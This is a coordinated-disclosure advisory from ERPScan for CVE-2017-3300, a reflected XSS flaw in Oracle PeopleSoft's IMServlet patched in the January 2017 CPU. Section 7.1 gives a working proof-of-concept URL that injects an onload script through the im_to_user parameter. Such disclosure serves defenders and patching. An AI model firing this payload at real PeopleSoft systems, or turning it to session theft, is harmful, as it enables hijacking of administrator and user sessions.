[ERPSCAN-17-005] Oracle PeopleSoft - XSS vulnerability CVE-2017-3300

Application: Oracle PeopleSoft

Vendor: Oracle

Bugs: XXS

Reported: 31.10.2016

Vendor response: 1.11.2016

Date of Public Advisory: 17.01.2017

Reference: Oracle CPU Jan 2017

Authors: Vahagn Vardanyan, Dmitry Yudin



1. ADVISORY INFORMATION

Title: Oracle PeopleSoft =E2=80=93 XSS vulnerability

Advisory ID: [ERPSCAN-17-005]

Risk: High

Advisory URL: https://erpscan.com/advisories/erpscan-17-005-oracle-peopleso=
ft-xss-vulnerability/

Date published: 17.01.2017

Vendor contacted: Oracle



2. VULNERABILITY INFORMATION

Class: XSS [CWE-79]

Remotely Exploitable: Yes

Locally Exploitable: No

CVE Name: CVE-2017-3300

CVSS Base Score: 6.1



3. VULNERABILITY DESCRIPTION

An attacker can use a special HTTP request to hijack session data of
administrators or users.



4. VULNERABLE PACKAGES


$ psreleaseinfo

ToolsRelease: 8.55.03

ToolsReleaseDB: 8.55



PeopleSoft HCM 9.2



PORTAL.war/WEB-INF/lib/mcfIM.jar



$ md5sum ./PORTAL.war/WEB-INF/lib/mcfIM.jar

36982c7d3c059ec9c2d9aaf0c35a65d3 ./PORTAL.war/WEB-INF/lib/mcfIM.jar



5. SOLUTIONS AND WORKAROUNDS

Oracle CPU January 2017


6. AUTHOR


Dmitri Yudin (@ret5et)/ERPScan & Vahagn Vardanyan (@vah_13 )/ERPScan



7. TECHNICAL DESCRIPTION



7.1. Proof of Concept



xss


http://localhost:8000/IMServlet?Method=3DMSN_PRESENCE&im_server_name=3DMSN&=
im_server=3D127.0.0.1:8000&im_to_user=3D%3Ca%20xmlns:a=3D%27http://www.w3.o=
rg/1999/xhtml%27%3E%3Ca:body%20onload=3D%27alert%28document.location%29%27/=
%3E%3C/a%3E



8. REPORT TIMELINE

Reported:  31.10.2016

Vendor response: 1.11.2016

Date of Public Advisory: 17.01.2017



9. REFERENCES

http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html
https://erpscan.com/advisories/erpscan-17-005-oracle-peoplesoft-xss-vulnera=
bility/

10. ABOUT ERPScan Research

ERPScan research team specializes in vulnerability research and
analysis of critical enterprise applications. It was acknowledged
multiple times by the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).

ERPScan researchers are proud of discovering new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
Best Server-Side Bug" nomination at BlackHat 2013.

ERPScan experts participated as speakers, presenters, and trainers at
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trainings for several Fortune 2000 companies.

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Our team consists of highly-qualified researchers, specialized in
various fields of cybersecurity (from web application to ICS/SCADA
systems), gathering their experience to conduct the best SAP security
research.

11. ABOUT ERPScan

ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally
and enables large Oil and Gas, Financial, Retail and other
organizations to secure their mission-critical processes. Named as an
=E2=80=98Emerging Vendor=E2=80=99 in Security by CRN, listed among =E2=80=
=9CTOP 100 SAP
Solution providers=E2=80=9D and distinguished by 30+ other awards, ERPScan =
is
the leading SAP SE partner in discovering and resolving security
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ERPScan=E2=80=99s primary mission is to close the gap between technical and
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We =E2=80=98follow the sun=E2=80=99 and have two hubs, located in Palo Alto=
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